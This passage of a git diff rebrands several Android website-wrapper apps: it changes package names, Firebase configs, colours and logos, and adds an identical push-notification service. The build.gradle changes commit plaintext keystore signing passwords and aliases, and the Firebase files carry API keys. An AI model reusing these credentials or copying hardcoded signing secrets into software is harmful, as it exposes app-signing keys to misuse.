def outputDir = new File(rootProject.ext.outputPath)
// 创建输出目录
outputDir.mkdirs()
diff --git a/gk9/google-services.json b/gk9/google-services.json
index 645afe3..7d33edb 100644
--- a/gk9/google-services.json
+++ b/gk9/google-services.json
@@ -1,21 +1,21 @@
{
"project_info": {
- "project_number": "1002658508661",
- "project_id": "gk9s-ef6e3",
- "storage_bucket": "gk9s-ef6e3.firebasestorage.app"
+ "project_number": "719580895133",
+ "project_id": "g1k19s",
+ "storage_bucket": "g1k19s.firebasestorage.app"
},
"client": [
{
"client_info": {
- "mobilesdk_app_id": "1:1002658508661:android:4f7327b5cc3afda2f52d3c",
+ "mobilesdk_app_id": "1:719580895133:android:1fbc032db1d9d6e0484174",
"android_client_info": {
- "package_name": "com.web.gk9"
+ "package_name": "com.xyz.gk9s"
}
},
"oauth_client": [],
"api_key": [
{
- "current_key": "AIzaSyCkpYivy5OwFJgwlJFRHtwbNiWYJQmEvA0"
+ "current_key": "AIzaSyD2NNVObMZytjInr48llRt5iaAxt1OnDak"
}
],
"services": {
diff --git a/gk9/src/main/AndroidManifest.xml b/gk9/src/main/AndroidManifest.xml
index 68fdb5a..ee303d6 100644
--- a/gk9/src/main/AndroidManifest.xml
+++ b/gk9/src/main/AndroidManifest.xml
@@ -1,6 +1,6 @@
+ package="com.xyz.gk9s">
-
+
diff --git a/gk9/src/main/java/com/web/gk9/MainActivity.java b/gk9/src/main/java/com/xyz/gk9s/MainActivity.java
similarity index 96%
rename from gk9/src/main/java/com/web/gk9/MainActivity.java
rename to gk9/src/main/java/com/xyz/gk9s/MainActivity.java
index 3020a51..1c9b80f 100644
--- a/gk9/src/main/java/com/web/gk9/MainActivity.java
+++ b/gk9/src/main/java/com/xyz/gk9s/MainActivity.java
@@ -1,4 +1,4 @@
-package com.web.gk9;
+package com.xyz.gk9s;
import android.content.pm.PackageInfo;
@@ -24,15 +24,15 @@ public class MainActivity extends MainActivity2 {
saveInt(MainActivity.this,"version_code",getVersion());
com.web.base.MainActivity.saveString(this, "base_url","https://gk9my.com/");
//网页的底部NavigationBar颜色
- com.web.base.MainActivity.saveString(this, "style_color", "#FFFFFF");
+ com.web.base.MainActivity.saveString(this, "style_color", "#2b8f59");
//页面的大背景颜色
- com.web.base.MainActivity.saveString(this, "windows_color", "#FFFFFF");
+ com.web.base.MainActivity.saveString(this, "windows_color", "#2b8f59");
//任务栏的文字颜色 0 黑 1白 默认黑
saveInt(MainActivity.this,"is_white",0);
super.onCreate(savedInstanceState);
//用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色t
setBackDrawables(R.drawable.big_bg);
- setImageView(false);
+ setImageView(true);
showTopV1.setImageResource(R.mipmap.app_logo1);
//订阅主题
FirebaseMessaging.getInstance().subscribeToTopic("demo")
diff --git a/gk9/src/main/java/com/xyz/gk9s/MyFirebaseMessageingService.java b/gk9/src/main/java/com/xyz/gk9s/MyFirebaseMessageingService.java
new file mode 100644
index 0000000..b43019b
--- /dev/null
+++ b/gk9/src/main/java/com/xyz/gk9s/MyFirebaseMessageingService.java
@@ -0,0 +1,125 @@
+package com.xyz.gk9s;
+
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.app.PendingIntent;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Build;
+import androidx.annotation.NonNull;
+import androidx.core.app.NotificationCompat;
+import com.google.firebase.messaging.FirebaseMessagingService;
+import com.google.firebase.messaging.RemoteMessage;
+import com.google.gson.Gson;
+import com.web.base.GsonUtils;
+import com.web.base.MessageInfo;
+import java.util.Map;
+import java.util.Random;
+
+public class MyFirebaseMessageingService extends FirebaseMessagingService {
+
+ public MyFirebaseMessageingService() {
+ }
+
+ @Override
+ public void onMessageReceived(@NonNull RemoteMessage remoteMessage) {
+ super.onMessageReceived(remoteMessage);
+ Map serviceData = remoteMessage.getData(); //后台推送数据
+ if (serviceData != null && serviceData.containsKey("message")) {
+ String value = serviceData.get("message");
+ Gson gson = new Gson();
+ MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class);
+ showNotification(messageInfo);
+ } else {
+ //收到通知 创建notify
+ if (remoteMessage.getNotification() != null) {
+ showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody());
+ }
+ }
+ }
+
+ private void showNotification(MessageInfo messageInfo) {
+ Intent notifyIntent = new Intent(this, MainActivity.class);
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
+ ComponentName launchComponent = null;
+ launchComponent = getApplication()
+ .getPackageManager()
+ .getLaunchIntentForPackage(getApplication().getPackageName())
+ .getComponent();
+ notifyIntent.setComponent(launchComponent);
+ }
+ notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
+ notifyIntent.setAction(Intent.ACTION_VIEW);
+ notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
+ notifyIntent.putExtra("message", messageInfo);
+ PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
+ NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
+ NotificationChannel channelwinway = null;
+ NotificationCompat.Builder notificationBuilder = null;
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
+ channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
+ channelwinway.enableLights(true);
+ channelwinway.enableVibration(true);
+ notificationManager.createNotificationChannel(channelwinway);
+ notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
+ .setSmallIcon(R.mipmap.app_logo)
+ .setContentTitle(messageInfo.getTitle())
+ .setContentText(messageInfo.getContent())
+ .setAutoCancel(true)
+ .setContentIntent(pendingIntent);
+ } else {
+ notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name))
+ .setSmallIcon(R.mipmap.app_logo)
+ .setContentTitle(messageInfo.getTitle())
+ .setContentText(messageInfo.getContent())
+ .setAutoCancel(true)
+ .setContentIntent(pendingIntent);
+ }
+ notificationManager.notify(0, notificationBuilder.build());
+ }
+
+ private void showNotification(String title, String body) {
+ Intent notifyIntent = new Intent(this, MainActivity.class);
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
+ ComponentName launchComponent = null;
+ launchComponent = getApplication()
+ .getPackageManager()
+ .getLaunchIntentForPackage(getApplication().getPackageName())
+ .getComponent();
+ notifyIntent.setComponent(launchComponent);
+ }
+ notifyIntent.putExtra("message", body);
+ notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
+ notifyIntent.setAction(Intent.ACTION_VIEW);
+ notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
+ PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
+ NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
+ NotificationChannel channelwinway = null;
+ NotificationCompat.Builder notificationBuilder = null;
+ MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class);
+ if (messageInfo != null) {
+ body = messageInfo.getContent();
+ }
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
+ channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
+ channelwinway.enableLights(true);
+ channelwinway.enableVibration(true);
+ notificationManager.createNotificationChannel(channelwinway);
+ notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
+ .setSmallIcon(R.mipmap.app_logo)
+ .setContentTitle(title)
+ .setContentText(body)
+ .setAutoCancel(true)
+ .setContentIntent(pendingIntent);
+ } else {
+ notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name))
+ .setSmallIcon(R.mipmap.app_logo)
+ .setContentTitle(title)
+ .setContentText(body)
+ .setAutoCancel(true)
+ .setContentIntent(pendingIntent);
+ }
+ notificationManager.notify(0, notificationBuilder.build());
+ }
+}
diff --git a/bantuan88/src/main/java/com/web/bant/WebApplication.java b/gk9/src/main/java/com/xyz/gk9s/WebApplication.java
similarity index 97%
rename from bantuan88/src/main/java/com/web/bant/WebApplication.java
rename to gk9/src/main/java/com/xyz/gk9s/WebApplication.java
index 5a51636..123d9b7 100644
--- a/bantuan88/src/main/java/com/web/bant/WebApplication.java
+++ b/gk9/src/main/java/com/xyz/gk9s/WebApplication.java
@@ -1,4 +1,4 @@
-package com.web.bant;
+package com.xyz.gk9s;
import android.app.Application;
import android.content.Context;
diff --git a/gk9/src/main/res/drawable/big_bg.xml b/gk9/src/main/res/drawable/big_bg.xml
index c1461de..dc60004 100644
--- a/gk9/src/main/res/drawable/big_bg.xml
+++ b/gk9/src/main/res/drawable/big_bg.xml
@@ -3,6 +3,6 @@
android:shape="rectangle">
+ android:startColor="#2b8f59"
+ android:endColor="#2b8f59"/>
\ No newline at end of file
diff --git a/gk9/src/main/res/mipmap-xxhdpi/app_logo.png b/gk9/src/main/res/mipmap-xxhdpi/app_logo.png
index ca93a6b..ffc3095 100644
Binary files a/gk9/src/main/res/mipmap-xxhdpi/app_logo.png and b/gk9/src/main/res/mipmap-xxhdpi/app_logo.png differ
diff --git a/gk9/src/main/res/mipmap-xxhdpi/app_logo1.png b/gk9/src/main/res/mipmap-xxhdpi/app_logo1.png
index aae1c66..ffc3095 100644
Binary files a/gk9/src/main/res/mipmap-xxhdpi/app_logo1.png and b/gk9/src/main/res/mipmap-xxhdpi/app_logo1.png differ
diff --git a/gk9/src/main/res/values/colors.xml b/gk9/src/main/res/values/colors.xml
index 19ff471..a0386c0 100644
--- a/gk9/src/main/res/values/colors.xml
+++ b/gk9/src/main/res/values/colors.xml
@@ -9,7 +9,7 @@
#FFFFFFFF
#EF4723
#FFFFFFFF
- #FFFFFF
+ #2b8f59
#2C2C2E
#FFA722
#434343
diff --git a/jayakaya99/build.gradle b/jayakaya99/build.gradle
index e5fa417..d8728f6 100644
--- a/jayakaya99/build.gradle
+++ b/jayakaya99/build.gradle
@@ -7,7 +7,7 @@ android {
compileSdkVersion 31
buildToolsVersion "30.0.3"
defaultConfig {
- applicationId "com.web.jayakaya99"
+ applicationId "com.xyz.jayaka"
minSdkVersion 24
targetSdkVersion 31
versionCode rootProject.ext.versionCode
@@ -17,16 +17,16 @@ android {
signingConfigs {
debug {
- storeFile file('sgplay.jks')
- storePassword "123456"
- keyAlias 'key0'
- keyPassword "123456"
+ storeFile file('dskjweb.jks')
+ storePassword "dskj2024"
+ keyAlias 'dskjalias'
+ keyPassword "dskj2024"
}
release {
- storeFile file('sgplay.jks')
- storePassword "123456"
- keyAlias 'key0'
- keyPassword "123456"
+ storeFile file('dskjweb.jks')
+ storePassword "dskj2024"
+ keyAlias 'dskjalias'
+ keyPassword "dskj2024"
}
}
@@ -44,7 +44,7 @@ android {
applicationVariants.all { variant ->
variant.outputs.all {
- def appName = "jayakaya99"
+ def appName = "ruhutieriurujgggggdddddjjjj"
def outputDir = new File(rootProject.ext.outputPath)
// 创建输出目录
outputDir.mkdirs()
diff --git a/jayakaya99/dskjweb.jks b/jayakaya99/dskjweb.jks
new file mode 100644
index 0000000..a303350
Binary files /dev/null and b/jayakaya99/dskjweb.jks differ
diff --git a/jayakaya99/google-services.json b/jayakaya99/google-services.json
index 9a2d7b8..352af45 100644
--- a/jayakaya99/google-services.json
+++ b/jayakaya99/google-services.json
@@ -9,7 +9,26 @@
"client_info": {
"mobilesdk_app_id": "1:180449562270:android:54b8843bc26520e8c5358f",
"android_client_info": {
- "package_name": "com.web.jayakaya99"
+ "package_name": "com.xyz.jayaka"
+ }
+ },
+ "oauth_client": [],
+ "api_key": [
+ {
+ "current_key": "AIzaSyD_FBj_ACGHJ9Ry_QItHUSouljw450jjms"
+ }
+ ],
+ "services": {
+ "appinvite_service": {
+ "other_platform_oauth_client": []
+ }
+ }
+ },
+ {
+ "client_info": {
+ "mobilesdk_app_id": "1:180449562270:android:54b8843bc26520e8c5358f",
+ "android_client_info": {
+ "package_name": "com.xyz.jayaka"
}
},
"oauth_client": [],
diff --git a/jayakaya99/src/main/AndroidManifest.xml b/jayakaya99/src/main/AndroidManifest.xml
index 3e6dd02..e17ff4a 100644
--- a/jayakaya99/src/main/AndroidManifest.xml
+++ b/jayakaya99/src/main/AndroidManifest.xml
@@ -1,6 +1,6 @@
+ package="com.xyz.jayaka">
-
+
-
-
-
+
+
+
-
+
diff --git a/jayakaya99/src/main/java/com/web/jayakaya99/MainActivity.java b/jayakaya99/src/main/java/com/xyz/jayaka/MainActivity.java
similarity index 98%
rename from jayakaya99/src/main/java/com/web/jayakaya99/MainActivity.java
rename to jayakaya99/src/main/java/com/xyz/jayaka/MainActivity.java
index 20b9cd5..d8139ab 100644
--- a/jayakaya99/src/main/java/com/web/jayakaya99/MainActivity.java
+++ b/jayakaya99/src/main/java/com/xyz/jayaka/MainActivity.java
@@ -1,4 +1,4 @@
-package com.web.jayakaya99;
+package com.xyz.jayaka;
import android.content.pm.PackageInfo;
diff --git a/jayakaya99/src/main/java/com/xyz/jayaka/MyFirebaseMessageingService.java b/jayakaya99/src/main/java/com/xyz/jayaka/MyFirebaseMessageingService.java
new file mode 100644
index 0000000..bcb9991
--- /dev/null
+++ b/jayakaya99/src/main/java/com/xyz/jayaka/MyFirebaseMessageingService.java
@@ -0,0 +1,125 @@
+package com.xyz.jayaka;
+
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.app.PendingIntent;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Build;
+import androidx.annotation.NonNull;
+import androidx.core.app.NotificationCompat;
+import com.google.firebase.messaging.FirebaseMessagingService;
+import com.google.firebase.messaging.RemoteMessage;
+import com.google.gson.Gson;
+import com.web.base.GsonUtils;
+import com.web.base.MessageInfo;
+import java.util.Map;
+import java.util.Random;
+
+public class MyFirebaseMessageingService extends FirebaseMessagingService {
+
+ public MyFirebaseMessageingService() {
+ }
+
+ @Override
+ public void onMessageReceived(@NonNull RemoteMessage remoteMessage) {
+ super.onMessageReceived(remoteMessage);
+ Map serviceData = remoteMessage.getData(); //后台推送数据
+ if (serviceData != null && serviceData.containsKey("message")) {
+ String value = serviceData.get("message");
+ Gson gson = new Gson();
+ MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class);
+ showNotification(messageInfo);
+ } else {
+ //收到通知 创建notify
+ if (remoteMessage.getNotification() != null) {
+ showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody());
+ }
+ }
+ }
+
+ private void showNotification(MessageInfo messageInfo) {
+ Intent notifyIntent = new Intent(this, MainActivity.class);
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
+ ComponentName launchComponent = null;
+ launchComponent = getApplication()
+ .getPackageManager()
+ .getLaunchIntentForPackage(getApplication().getPackageName())
+ .getComponent();
+ notifyIntent.setComponent(launchComponent);
+ }
+ notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
+ notifyIntent.setAction(Intent.ACTION_VIEW);
+ notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
+ notifyIntent.putExtra("message", messageInfo);
+ PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
+ NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
+ NotificationChannel channelwinway = null;
+ NotificationCompat.Builder notificationBuilder = null;
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
+ channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
+ channelwinway.enableLights(true);
+ channelwinway.enableVibration(true);
+ notificationManager.createNotificationChannel(channelwinway);
+ notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
+ .setSmallIcon(R.mipmap.app_logo)
+ .setContentTitle(messageInfo.getTitle())
+ .setContentText(messageInfo.getContent())
+ .setAutoCancel(true)
+ .setContentIntent(pendingIntent);
+ } else {
+ notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name))
+ .setSmallIcon(R.mipmap.app_logo)
+ .setContentTitle(messageInfo.getTitle())
+ .setContentText(messageInfo.getContent())
+ .setAutoCancel(true)
+ .setContentIntent(pendingIntent);
+ }
+ notificationManager.notify(0, notificationBuilder.build());
+ }
+
+ private void showNotification(String title, String body) {
+ Intent notifyIntent = new Intent(this, MainActivity.class);
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
+ ComponentName launchComponent = null;
+ launchComponent = getApplication()
+ .getPackageManager()
+ .getLaunchIntentForPackage(getApplication().getPackageName())
+ .getComponent();
+ notifyIntent.setComponent(launchComponent);
+ }
+ notifyIntent.putExtra("message", body);
+ notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
+ notifyIntent.setAction(Intent.ACTION_VIEW);
+ notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
+ PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
+ NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
+ NotificationChannel channelwinway = null;
+ NotificationCompat.Builder notificationBuilder = null;
+ MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class);
+ if (messageInfo != null) {
+ body = messageInfo.getContent();
+ }
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
+ channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
+ channelwinway.enableLights(true);
+ channelwinway.enableVibration(true);
+ notificationManager.createNotificationChannel(channelwinway);
+ notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
+ .setSmallIcon(R.mipmap.app_logo)
+ .setContentTitle(title)
+ .setContentText(body)
+ .setAutoCancel(true)
+ .setContentIntent(pendingIntent);
+ } else {
+ notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name))
+ .setSmallIcon(R.mipmap.app_logo)
+ .setContentTitle(title)
+ .setContentText(body)
+ .setAutoCancel(true)
+ .setContentIntent(pendingIntent);
+ }
+ notificationManager.notify(0, notificationBuilder.build());
+ }
+}
diff --git a/711bet/src/main/java/com/web/bet711/WebApplication.java b/jayakaya99/src/main/java/com/xyz/jayaka/WebApplication.java
similarity index 97%
rename from 711bet/src/main/java/com/web/bet711/WebApplication.java
rename to jayakaya99/src/main/java/com/xyz/jayaka/WebApplication.java
index bb21a6d..a8389b7 100644
--- a/711bet/src/main/java/com/web/bet711/WebApplication.java
+++ b/jayakaya99/src/main/java/com/xyz/jayaka/WebApplication.java
@@ -1,4 +1,4 @@
-package com.web.bet711;
+package com.xyz.jayaka;
import android.app.Application;
import android.content.Context;
diff --git a/jayakaya99/src/main/res/drawable/big_bg.xml b/jayakaya99/src/main/res/drawable/big_bg.xml
index 0ace555..adeb11f 100644
--- a/jayakaya99/src/main/res/drawable/big_bg.xml
+++ b/jayakaya99/src/main/res/drawable/big_bg.xml
@@ -5,5 +5,5 @@
android:angle="270"
android:startColor="#0d342f"
android:centerColor="#0d342f"
- android:endColor="#0d342f"/>
+ android:endColor="#155449"/>
\ No newline at end of file
diff --git a/kaki/src/main/res/drawable/big_bg.xml b/kaki/src/main/res/drawable/big_bg.xml
index 0271569..2e41ced 100644
--- a/kaki/src/main/res/drawable/big_bg.xml
+++ b/kaki/src/main/res/drawable/big_bg.xml
@@ -3,6 +3,6 @@
android:shape="rectangle">
+ android:startColor="@color/windows_color"
+ android:endColor="@color/style_color"/>
\ No newline at end of file
diff --git a/kangaroo/build.gradle b/kangaroo/build.gradle
index f51da67..d003b93 100644
--- a/kangaroo/build.gradle
+++ b/kangaroo/build.gradle
@@ -7,7 +7,7 @@ android {
compileSdkVersion 31
buildToolsVersion "30.0.3"
defaultConfig {
- applicationId "com.xyz.oorag23"
+ applicationId "com.xyz.kangaroo3210"
minSdkVersion 24
targetSdkVersion 31
versionCode rootProject.ext.versionCode
diff --git a/kangaroo/google-services.json b/kangaroo/google-services.json
index 79ce900..c3c799d 100644
--- a/kangaroo/google-services.json
+++ b/kangaroo/google-services.json
@@ -1,21 +1,21 @@
{
"project_info": {
- "project_number": "748438133086",
- "project_id": "kang6666-b42a3",
- "storage_bucket": "kang6666-b42a3.firebasestorage.app"
+ "project_number": "29116994448",
+ "project_id": "kangaroo8877-a31dc",
+ "storage_bucket": "kangaroo8877-a31dc.firebasestorage.app"
},
"client": [
{
"client_info": {
- "mobilesdk_app_id": "1:748438133086:android:f2846804f63987ecf8d7cf",
+ "mobilesdk_app_id": "1:29116994448:android:1b0818138e3ebe725e5915",
"android_client_info": {
- "package_name": "com.xyz.oorag23"
+ "package_name": "com.xyz.kangaroo3210"
}
},
"oauth_client": [],
"api_key": [
{
- "current_key": "AIzaSyBnbN1KK_3PMca5BV2w34LuP1hPMmqTCEM"
+ "current_key": "AIzaSyAMjgQTFBXDTM4wfAB6m4dcGVznUkqz5dk"
}
],
"services": {
diff --git a/kangaroo/src/main/AndroidManifest.xml b/kangaroo/src/main/AndroidManifest.xml
index 9bf1988..470022f 100644
--- a/kangaroo/src/main/AndroidManifest.xml
+++ b/kangaroo/src/main/AndroidManifest.xml
@@ -1,6 +1,6 @@
+ package="com.xyz.kangaroo3210">
{
+ String msg = "Subscribed";
+ if (!task.isSuccessful()) {
+ msg = "Subscribe failed";
+ }
+ LogUtils.i("结果:"+msg);
});
}
diff --git a/kangaroo/src/main/java/com/xyz/kangaroo3210/MyFirebaseMessageingService.java b/kangaroo/src/main/java/com/xyz/kangaroo3210/MyFirebaseMessageingService.java
new file mode 100644
index 0000000..044b57c
--- /dev/null
+++ b/kangaroo/src/main/java/com/xyz/kangaroo3210/MyFirebaseMessageingService.java
@@ -0,0 +1,125 @@
+package com.xyz.kangaroo3210;
+
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.app.PendingIntent;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Build;
+import androidx.annotation.NonNull;
+import androidx.core.app.NotificationCompat;
+import com.google.firebase.messaging.FirebaseMessagingService;
+import com.google.firebase.messaging.RemoteMessage;
+import com.google.gson.Gson;
+import com.web.base.GsonUtils;
+import com.web.base.MessageInfo;
+import java.util.Map;
+import java.util.Random;
+
+public class MyFirebaseMessageingService extends FirebaseMessagingService {
+
+ public MyFirebaseMessageingService() {
+ }
+
+ @Override
+ public void onMessageReceived(@NonNull RemoteMessage remoteMessage) {
+ super.onMessageReceived(remoteMessage);
+ Map serviceData = remoteMessage.getData(); //后台推送数据
+ if (serviceData != null && serviceData.containsKey("message")) {
+ String value = serviceData.get("message");
+ Gson gson = new Gson();
+ MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class);
+ showNotification(messageInfo);
+ } else {
+ //收到通知 创建notify
+ if (remoteMessage.getNotification() != null) {
+ showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody());
+ }
+ }
+ }
+
+ private void showNotification(MessageInfo messageInfo) {
+ Intent notifyIntent = new Intent(this, MainActivity.class);
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
+ ComponentName launchComponent = null;
+ launchComponent = getApplication()
+ .getPackageManager()
+ .getLaunchIntentForPackage(getApplication().getPackageName())
+ .getComponent();
+ notifyIntent.setComponent(launchComponent);
+ }
+ notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
+ notifyIntent.setAction(Intent.ACTION_VIEW);
+ notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
+ notifyIntent.putExtra("message", messageInfo);
+ PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
+ NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
+ NotificationChannel channelwinway = null;
+ NotificationCompat.Builder notificationBuilder = null;
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
+ channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
+ channelwinway.enableLights(true);
+ channelwinway.enableVibration(true);
+ notificationManager.createNotificationChannel(channelwinway);
+ notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
+ .setSmallIcon(R.mipmap.app_logo)
+ .setContentTitle(messageInfo.getTitle())
+ .setContentText(messageInfo.getContent())
+ .setAutoCancel(true)
+ .setContentIntent(pendingIntent);
+ } else {
+ notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name))
+ .setSmallIcon(R.mipmap.app_logo)
+ .setContentTitle(messageInfo.getTitle())
+ .setContentText(messageInfo.getContent())
+ .setAutoCancel(true)
+ .setContentIntent(pendingIntent);
+ }
+ notificationManager.notify(0, notificationBuilder.build());
+ }
+
+ private void showNotification(String title, String body) {
+ Intent notifyIntent = new Intent(this, MainActivity.class);
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
+ ComponentName launchComponent = null;
+ launchComponent = getApplication()
+ .getPackageManager()
+ .getLaunchIntentForPackage(getApplication().getPackageName())
+ .getComponent();
+ notifyIntent.setComponent(launchComponent);
+ }
+ notifyIntent.putExtra("message", body);
+ notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
+ notifyIntent.setAction(Intent.ACTION_VIEW);
+ notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
+ PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
+ NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
+ NotificationChannel channelwinway = null;
+ NotificationCompat.Builder notificationBuilder = null;
+ MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class);
+ if (messageInfo != null) {
+ body = messageInfo.getContent();
+ }
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
+ channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
+ channelwinway.enableLights(true);
+ channelwinway.enableVibration(true);
+ notificationManager.createNotificationChannel(channelwinway);
+ notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
+ .setSmallIcon(R.mipmap.app_logo)
+ .setContentTitle(title)
+ .setContentText(body)
+ .setAutoCancel(true)
+ .setContentIntent(pendingIntent);
+ } else {
+ notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name))
+ .setSmallIcon(R.mipmap.app_logo)
+ .setContentTitle(title)
+ .setContentText(body)
+ .setAutoCancel(true)
+ .setContentIntent(pendingIntent);
+ }
+ notificationManager.notify(0, notificationBuilder.build());
+ }
+}
diff --git a/jayakaya99/src/main/java/com/web/jayakaya99/WebApplication.java b/kangaroo/src/main/java/com/xyz/kangaroo3210/WebApplication.java
similarity index 96%
rename from jayakaya99/src/main/java/com/web/jayakaya99/WebApplication.java
rename to kangaroo/src/main/java/com/xyz/kangaroo3210/WebApplication.java
index 9d20a33..d1c68b2 100644
--- a/jayakaya99/src/main/java/com/web/jayakaya99/WebApplication.java
+++ b/kangaroo/src/main/java/com/xyz/kangaroo3210/WebApplication.java
@@ -1,4 +1,4 @@
-package com.web.jayakaya99;
+package com.xyz.kangaroo3210;
import android.app.Application;
import android.content.Context;
diff --git a/koala88/build.gradle b/koala88/build.gradle
index fc0628f..52df45d 100644
--- a/koala88/build.gradle
+++ b/koala88/build.gradle
@@ -7,7 +7,7 @@ android {
compileSdkVersion 31
buildToolsVersion "30.0.3"
defaultConfig {
- applicationId "com.xyz.alako21"
+ applicationId "com.xyz.koala3210"
minSdkVersion 24
targetSdkVersion 31
versionCode rootProject.ext.versionCode
diff --git a/koala88/google-services.json b/koala88/google-services.json
index 203baa2..dbaa869 100644
--- a/koala88/google-services.json
+++ b/koala88/google-services.json
@@ -1,21 +1,21 @@
{
"project_info": {
- "project_number": "984543678166",
- "project_id": "koala88fdgtsd",
- "storage_bucket": "koala88fdgtsd.firebasestorage.app"
+ "project_number": "731275324540",
+ "project_id": "koala8811",
+ "storage_bucket": "koala8811.firebasestorage.app"
},
"client": [
{
"client_info": {
- "mobilesdk_app_id": "1:984543678166:android:34cb2372be6cc518214377",
+ "mobilesdk_app_id": "1:731275324540:android:d64804bd221a48a36e2df9",
"android_client_info": {
- "package_name": "com.xyz.alako21"
+ "package_name": "com.xyz.koala3210"
}
},
"oauth_client": [],
"api_key": [
{
- "current_key": "AIzaSyC57ngGHfZvi728Qnc5NF40i2sBh8jDM9U"
+ "current_key": "AIzaSyBaNfVYGWNx-Sdv2OGc6gBinzV7Efg-ssk"
}
],
"services": {
diff --git a/koala88/src/main/AndroidManifest.xml b/koala88/src/main/AndroidManifest.xml
index 26be4ee..690c7bc 100644
--- a/koala88/src/main/AndroidManifest.xml
+++ b/koala88/src/main/AndroidManifest.xml
